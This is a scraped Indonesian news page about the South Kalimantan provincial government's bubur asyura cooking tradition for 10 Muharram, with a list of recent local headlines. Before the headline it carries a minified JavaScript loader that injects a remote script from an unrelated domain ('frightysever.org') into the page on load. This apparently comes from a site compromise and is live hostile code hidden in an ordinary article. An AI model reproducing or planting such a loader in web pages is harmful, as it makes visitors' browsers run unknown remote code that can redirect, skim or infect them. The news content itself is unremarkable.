(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tradisi Mengawah Bubur Asyura, Peringatan 10 Muharram di Pemprov Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Memperingati 10 Muharram atau Yaumul Asyura, Pemprov Kalsel menggelar tradisi Mangawah Bubur Asyura, Senin (8/8/2022) pagi.

Dibuka dan disiapkan sejak pagi hingga siang, sedikitnya ada 3.000 porsi bubur asyura disiapkan untuk ASN dan pegawai di lingkup Setdaprov Kalsel, serta masyarakat sekita perkantoran Pemprov Kalsel.

Tampak Gubernur Kalsel H Sahbirin Noor atau akrab disapa Paman Birin ini ikut mangawah atau mengaduk bubur asyura di kuali besar. Sekadar diketahui, umat Islam di Kalimantan Selatan pada bulan Muharram selalu menggelar tradisi khusus.

Selain berpuasa, orang-orang Banjar juga biasanya merayakan dengan membuat makanan spesial yakni bubur asyura.

 

Baca juga  : Sekda Tanbu Hadiri Wisuda XXVI STMIK Indonesia Banjarmasin

Kepala Biro Kesejahteraan Rakyat Setdaprov Kalsel, Ahmad Solhan mengatakan, dalam memperingati tanggal 10 Muharram, Biro Kesra melaksanakan “Mengawah Bubur Asyura Bersama Paman Birin.”

“Ini juga merupakan acara silaturahim antara pimpinan dengan karyawan dan karyawati SKPD yang ada di lingkup Pemprov Kalsel,” ujarnya.

Tak hanya dinikmati para ASN Pemprov Kalsel, 3.000 porsi bubur asyura yang dimasak Biro Kesra Pemprov Kalsel dibagi-bagikan ke masyarakat sekitar komplek perkantoran Pemprov Kalsel.

“Ini dibagikan langsung dengan karyawan dan karyawati Pemprov Kalsel, juga nanti dibagikan ke masyarakat di antar langsung di Jalan Trikora dan sekitarnya,” katanya.

 

Baca juga  : Rumah Banjar Buatan 1880 di Sungai Jingah Dijadikan Darul Quran Bhayangkara

Bubur asyura khas Banjar ini pun sangat nikmat karena dibuat dari campuran 41 jenis bahan.

Bahannya biasa terdiri dari aneka macam sayuran, kacang-kacangan, sampai daging. Jumlah 41 bahan ini harus dicukupi karena sudah jadi tradisi.

Biasanya memang ada beberapa bahan wajib yang selalu digunakan oleh orang-orang Banjar, seperti kangkung, jagung manis, wortel, kentang, daun pucuk waluh, dan beberapa bahan lainnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

29 menit ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

2 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

3 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

3 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

17 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

17 jam ago

This website uses cookies.